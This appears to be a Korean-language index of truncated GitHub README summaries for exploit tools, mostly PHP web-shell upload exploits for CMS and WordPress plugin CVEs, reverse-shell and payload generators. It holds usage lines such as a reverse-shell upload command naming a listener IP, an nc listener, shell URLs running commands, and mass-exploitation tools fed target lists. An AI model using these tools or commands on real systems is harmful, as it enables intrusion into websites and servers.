Apache-Struts-v4

Apache-Struts-v4 이 스크립트는 Apache Struts에서 RCE 유형의 취약점을 악용하는 5가지 서로 다른 취약점을 포함합니다. 현재로서는 PHP 셸을 생성하는 기능만 포함되어 있습니다. CVE 추가 CVE ID| 설명 ---|--- CVE-2013-2251| Apache Struts 2.0.0부터 2.3.15까지는 원격 공격자가 조작된 1 action:, 2 redirect:, 3 redirectAction: 접두사가 있는 매개변수를 통해 임의의 OGNL 표현식을 실행할 수 있습니다. CVE-2017-5638...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC 이 저장소는 Pluck CMS 버전 4.7.18의 CVE-2023-50564 취약점에 대한 개념 증명PoC을 포함합니다. 설명 CVE-2023-50564는 Pluck CMS 버전 4.7.18에서 허가되지 않은 파일 업로드를 가능하게 하는 취약점입니다. 이 익스플로잇은 모듈 설치 함수의 결함을 이용하여 PHP 셸이 포함된 ZIP 파일을 업로드함으로써 원격 명령 실행을 가능하게 합니다. 사용법 사전 요구 사항 Python 3.x requests 및 requeststoolbelt 패키지 다음 명령으...

CVE-2021-25094-tatsu-preauth-rce

Tatsu builder Wordpress 플러그인의 사전 인증 RCE CVE-2021-25094 Tatsu Builder = 3.3.11에서의 인증되지 않은 RCE의 간단한 PoC 예제입니다. 전체 분석 글은 여기: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ 사용법: python3 exploit-rce.py -h --technique TECHNIQUE --customShell CUSTOMSHELL --keep KEEP --proxy...

YAPS

YAPS - Y et A nother P HP S hell 네, 이름에서 알 수 있듯이 이것은 또 다른 PHP 리버스 셸입니다. 수백 개 중 하나이지만 몇 가지 장점이 있습니다. 단일 PHP 파일로 모든 기능을 포함하고 있으며, 간단한 TCP 리스너예: nc -lp 1337로 제어할 수 있습니다. 현재 버전1.5에서 주요 기능은 리눅스 시스템만 지원하지만, 윈도우에서도 작동하도록 만들 계획입니다. 현재 첫 번째 버전이며 아직 많이 테스트하지 않았고, 다음 버전을 위해 계획하고 개선할 사항이 많이 남아 있습니다 아직 완료되지...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - 임의 파일 업로드 CVE-2015-6967 요구 사항 python 3 requests 사용법 usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL --username USERNAME, -u USERNAME --passwor...

CVE-2024-53345

CVE-2024-53345 Car Rental Management System 버전 1.0 1.3의 치명적 제로데이 취약점 설명: Car Rental Management System버전 1.0 1.3의 시스템 설정 모듈 파일 업로드 기능에 치명적인 취약점이 존재합니다. 이 취약점으로 인해 낮은 권한의 사용자가 PHP 스크립트 등 실행 가능한 파일을 포함한 임의의 파일을 업로드할 수 있습니다. 이는 부적절한 파일 형식 검증과 업로드 디렉토리에 대한 접근 제어 미흡으로 인해 발생하며, 공격자는 악성 파일을 업로드한 후 인증 없이...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 리버스 셸 업로드 h3v0x가 작성한 익스플로잇을 기반으로 한 WpDiscuz 7.0.4용 익스플로잇입니다. 취약점을 악용하여 리버스 PHP 셸을 업로드합니다. 영감은 Blogger CTF에서 얻었습니다. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 사용 예시:...

wordpress-shell

wordpress-shell 저렴하고 조잡한 워드프레스 명령어 실행 셸. 워드프레스를 서비스하는 웹서버의 권한으로 명령어를 실행하세요! 업로드된 셸은 일반적으로 /wp-content/plugins/shell/shell.php 에 위치합니다. 설치 셸을 설치하려면 워드프레스 설치에 대한 관리자 접근 권한이 있고 플러그인을 설치할 수 있다고 가정합니다. dist/ 디렉토리에 있는 zip 파일을 업로드하거나, 다음 명령어로 자신의 아카이브를 생성하세요: $ zip -r shell.zip shell.php adding: shell.p...

payday

Payday Metasploit과 Veil을 사용하는 페이로드 생성기입니다. IP 주소를 입력받아 자동으로 페이로드를 빌드합니다. 제공된 IP 주소로 Veil 프레임워크를 호출하여 바이너리와 핸들러를 생성합니다. msfvenom을 사용하여 페이로드를 생성하고, Veil과 동일한 방식으로 리소스 핸들러 파일을 작성합니다. --php 옵션은 파일 시작 부분의 주석을 자동으로 제거한 pshell.txt를 생성하므로 편집 없이 사용할 수 있습니다. -- Veil Evasion Script 경로 업데이트 이 도구는 이제 디렉토리 구조를...

CVE-2021-30461

영향받는 제품 VoIPmonitor 24.60 RCE 방법 python3 CVE-2021-30461.py -t ipaddress 브라우저 셸: http://x.x.x.x/namrlblgel.php?a=whoami 참고 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2023-50564

CVE-2023-50564 교육 목적으로만 사용하세요. 이 스크립트는 CVE-2023-50564를 악용하여 대상 서버에 리버스 PHP 셸을 업로드합니다. 이 셸과 같은 셸을 사용할 수 있습니다. php 파일을 zip으로 압축한 후 이 스크립트에 zip 파일을 전달하기만 하면 됩니다. 예제 python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p hunter2...

CVE-2024-52375

WordPress Datasets Manager 💥 제작자: Nxploit Khaled Alenazi 📅 CVE 발표일: 2024년 11월 14일 🧠 CVSS 점수: 10.0 Critical 🛠 CWE-434: 위험한 유형의 파일 무제한 업로드 📌 설명 Arttia Creative 의 Datasets Manager WordPress 플러그인에서 버전 1.5 이하 에 영향을 미치는 심각한 취약점이 발견되었습니다. 이 플러그인은 업로드 과정에서 파일 유형을 제대로 검증하지 않아, 인증되지 않은 공격자가 PHP 셸을 포함한 임의의...

CVE-2024-25600-mass

cve 대량 업로드 셸 python3 exploit.py -l yourlist.txt 경로 셸 https://examplewebsite.com/asd.php...

WonderCMS-CVE-2020-35314

CVE-2020-35314 - WonderCMS 3.1.3에서의 인증된 원격 코드 실행 이 저장소는 WonderCMS v3.1.3에서 원격 코드 실행 취약점을 테스트하기 위한 목적으로 생성되었습니다. 이 가짜 플러그인에는 evil.php 파일에 위치한 백도어 PHP 셸이 포함되어 있습니다. 프로덕션 웹 서버에서 이 가짜 플러그인을 사용하지 않는 것이 좋습니다...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - 임의 파일 업로드 설명 WordPress용 Instant Appointment 플러그인은 버전 1.2까지포함 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 셸을 업로드하고 명령을 실행할 수 있습니다. 세부 정보 유형 : 플러그인 슬러그 : instant-appointment 영향받는 버전 : 1.2 CVSS 점수 : 9.8 CVSS 등급 : 높음 CVSS 벡터 :...

CVE-2025-56399

CVE-2025-56399 대량 익스플로잇 CVE-2025-56399 – laravel-file-manager v3.3.1의 원격 코드 실행 취약점. Laravel File Manager의 잘못 구성된 설정을 악용하여 인증 없이 파일 업로드로 PHP 셸을 업로드하고 검증합니다. 설치 저장소 다운로드 git clone https://github.com/im-hanzou/CVE-2025-56399 저장소 폴더로 이동 cd CVE-2025-56399 필요 패키지 설치 pip install -r requirements.txt 사용법...

CVE-2019-15813

CVE-2019-15813 이 컨테이너는 CVE-2019-15813Sentrifugo 작동 방식을 설명하고 시연하기 위해 제작되었습니다. Sentrifugo V3.2 Sentrifugo는 인적 자원 관리 시스템입니다. 설치 방법 docker-compose up 테스트용 기본 자격 증명 ----슈퍼 관리자---- 사용자 이름 : empp0001 비밀번호 : 5faa7bdf3d7af ---직원---- 사용자 이름: EMPP123 비밀번호: bygedupub --리버스 PHP 셸-- resume.zip 압축 해제 windows...

HeimShell

HeimShell CVE-2023-51803 HeimShell 은 CVE-2023-51803에 대한 익스플로잇으로, LinuxServer.io Heimdall≤ 2.5.6의 임의 파일 업로드 취약점을 활용합니다. 대상 버전을 자동으로 감지하여 익스플로잇 가능 여부를 경고하거나 SHELLURL로 정의된 PHP 셸을 원격으로 가져옵니다. ≤ 2.2.2 : 임의 파일 업로드가 가능하지만 파일은 정적으로 제공되며 URL은 원격으로 가져오지 않습니다. ≥ 2.2.3 & ≤ 2.5.6: 아이콘 URL 업로드를 통해 PHP 셸을 원격으로...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

OpenSTAManager RCE 익스플로잇 CVE-2026-38751 개요 이 Python 스크립트는 OpenSTAManager 2.10에서 확인된 CVE-2026-38751 원격 코드 실행 취약점을 익스플로잇합니다. 이 익스플로잇을 통해 인증된 사용자는 악성 모듈을 업로드하고 대상 시스템에서 임의의 명령을 실행할 수 있습니다. 취약점 세부 정보 CVE ID : CVE-2026-38751 제품 : OpenSTAManager 버전 : 2.10 유형 : 원격 코드 실행 RCE 공격 벡터 : 웹 기반, 유효한 인증 필요 익스플로잇...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro 대량 익스플로잇 Piotnet Addons for Elementor Pro ≤ 7.1.70에서 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행RCE 이 도구는 대량 익스플로잇 을 위해 설계되었습니다. 대상 목록을 입력하면 자동으로 다음 작업을 수행합니다: 플러그인 버전 감지또는 에셋이 발견되면 취약한 것으로 간주 postid, formid, 올바른 업로드 필드 이름을 추출하기 위한 고급 정찰 수행 여러 PHP 확장자.phtml,...